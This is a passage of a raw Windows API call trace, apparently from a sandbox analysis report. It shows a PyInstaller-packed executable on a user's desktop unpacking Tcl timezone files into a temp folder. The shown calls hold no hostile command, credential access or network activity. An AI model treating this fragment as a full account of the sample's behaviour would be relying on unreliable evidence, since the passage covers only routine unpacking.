lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.412] CloseHandle (hObject=0x10c) returned 1 [0041.412] GetLastError () returned 0x0 [0041.412] SetLastError (dwErrCode=0x0) [0041.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.412] GetFileType (hFile=0x10c) returned 0x1 [0041.412] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.413] CloseHandle (hObject=0x10c) returned 1 [0041.413] GetLastError () returned 0x0 [0041.413] SetLastError (dwErrCode=0x0) [0041.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba") returned 61 [0041.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cuba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.413] GetLastError () returned 0x2 [0041.413] SetLastError (dwErrCode=0x2) [0041.413] GetLastError () returned 0x2 [0041.413] SetLastError (dwErrCode=0x2) [0041.413] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba", lpFilePart=0x0) returned 0x3c [0041.413] GetLastError () returned 0x2 [0041.413] SetLastError (dwErrCode=0x2) [0041.413] GetLastError () returned 0x2 [0041.413] SetLastError (dwErrCode=0x2) [0041.413] GetLastError () returned 0x2 [0041.413] SetLastError (dwErrCode=0x2) [0041.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba") returned 61 [0041.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Cuba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\cuba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.414] GetFileType (hFile=0x10c) returned 0x1 [0041.414] htonl (hostlong=0xaa000000) returned 0xaa [0041.414] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.414] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaa, lpOverlapped=0x0) returned 1 [0041.415] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.415] CloseHandle (hObject=0x10c) returned 1 [0041.415] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.415] htonl (hostlong=0x30000000) returned 0x30 [0041.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.416] GetFileType (hFile=0x10c) returned 0x1 [0041.416] htonl (hostlong=0x9a75b00) returned 0x5ba709 [0041.416] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605709, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.416] htonl (hostlong=0xa9050000) returned 0x5a9 [0041.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5a9) returned 0x550600 [0041.416] htonl (hostlong=0xa9050000) returned 0x5a9 [0041.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.416] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.416] htonl (hostlong=0x151c0000) returned 0x1c15 [0041.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c15) returned 0x561090 [0041.416] htonl (hostlong=0xa9050000) returned 0x5a9 [0041.416] htonl (hostlong=0x151c0000) returned 0x1c15 [0041.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562cb0 [0041.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562cb0 | out: hHeap=0x530000) returned 1 [0041.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.416] CloseHandle (hObject=0x10c) returned 1 [0041.416] GetLastError () returned 0x0 [0041.416] SetLastError (dwErrCode=0x0) [0041.416] GetLastError () returned 0x0 [0041.416] SetLastError (dwErrCode=0x0) [0041.416] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.417] GetFileType (hFile=0x10c) returned 0x1 [0041.417] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.417] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.417] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.417] CloseHandle (hObject=0x10c) returned 1 [0041.417] GetLastError () returned 0x0 [0041.417] SetLastError (dwErrCode=0x0) [0041.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.417] GetFileType (hFile=0x10c) returned 0x1 [0041.417] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.417] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.417] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.417] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.418] CloseHandle (hObject=0x10c) returned 1 [0041.418] GetLastError () returned 0x0 [0041.418] SetLastError (dwErrCode=0x0) [0041.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET") returned 60 [0041.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\eet"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.418] GetLastError () returned 0x2 [0041.418] SetLastError (dwErrCode=0x2) [0041.418] GetLastError () returned 0x2 [0041.418] SetLastError (dwErrCode=0x2) [0041.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET", lpFilePart=0x0) returned 0x3b [0041.418] GetLastError () returned 0x2 [0041.418] SetLastError (dwErrCode=0x2) [0041.418] GetLastError () returned 0x2 [0041.418] SetLastError (dwErrCode=0x2) [0041.418] GetLastError () returned 0x2 [0041.418] SetLastError (dwErrCode=0x2) [0041.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET") returned 60 [0041.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\eet"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.418] GetFileType (hFile=0x10c) returned 0x1 [0041.418] htonl (hostlong=0x151c0000) returned 0x1c15 [0041.418] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.419] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc15, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc15, lpOverlapped=0x0) returned 1 [0041.420] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.420] CloseHandle (hObject=0x10c) returned 1 [0041.420] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.420] htonl (hostlong=0x30000000) returned 0x30 [0041.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.420] GetFileType (hFile=0x10c) returned 0x1 [0041.420] htonl (hostlong=0xb2ac5b00) returned 0x5bacb2 [0041.420] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605cb2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.420] htonl (hostlong=0x6e000000) returned 0x6e [0041.420] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6e) returned 0x55cfe0 [0041.420] htonl (hostlong=0x6e000000) returned 0x6e [0041.420] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.421] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.421] htonl (hostlong=0x6a000000) returned 0x6a [0041.421] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6a) returned 0x550600 [0041.421] htonl (hostlong=0x6e000000) returned 0x6e [0041.421] htonl (hostlong=0x6a000000) returned 0x6a [0041.421] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.421] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.421] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.421] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.421] CloseHandle (hObject=0x10c) returned 1 [0041.421] GetLastError () returned 0x0 [0041.421] SetLastError (dwErrCode=0x0) [0041.421] GetLastError () returned 0x0 [0041.421] SetLastError (dwErrCode=0x0) [0041.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.421] GetFileType (hFile=0x10c) returned 0x1 [0041.421] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.422] CloseHandle (hObject=0x10c) returned 1 [0041.422] GetLastError () returned 0x0 [0041.422] SetLastError (dwErrCode=0x0) [0041.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.422] GetFileType (hFile=0x10c) returned 0x1 [0041.422] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.422] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.422] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.422] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.422] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.422] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.422] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.422] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.422] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.422] CloseHandle (hObject=0x10c) returned 1 [0041.422] GetLastError () returned 0x0 [0041.422] SetLastError (dwErrCode=0x0) [0041.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST") returned 60 [0041.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\est"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.422] GetLastError () returned 0x2 [0041.422] SetLastError (dwErrCode=0x2) [0041.422] GetLastError () returned 0x2 [0041.422] SetLastError (dwErrCode=0x2) [0041.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST", lpFilePart=0x0) returned 0x3b [0041.422] GetLastError () returned 0x2 [0041.423] SetLastError (dwErrCode=0x2) [0041.423] GetLastError () returned 0x2 [0041.423] SetLastError (dwErrCode=0x2) [0041.423] GetLastError () returned 0x2 [0041.423] SetLastError (dwErrCode=0x2) [0041.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST") returned 60 [0041.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\est"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.423] GetFileType (hFile=0x10c) returned 0x1 [0041.424] htonl (hostlong=0x6a000000) returned 0x6a [0041.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.424] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x6a, lpOverlapped=0x0) returned 1 [0041.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.425] CloseHandle (hObject=0x10c) returned 1 [0041.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.425] htonl (hostlong=0x30000000) returned 0x30 [0041.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 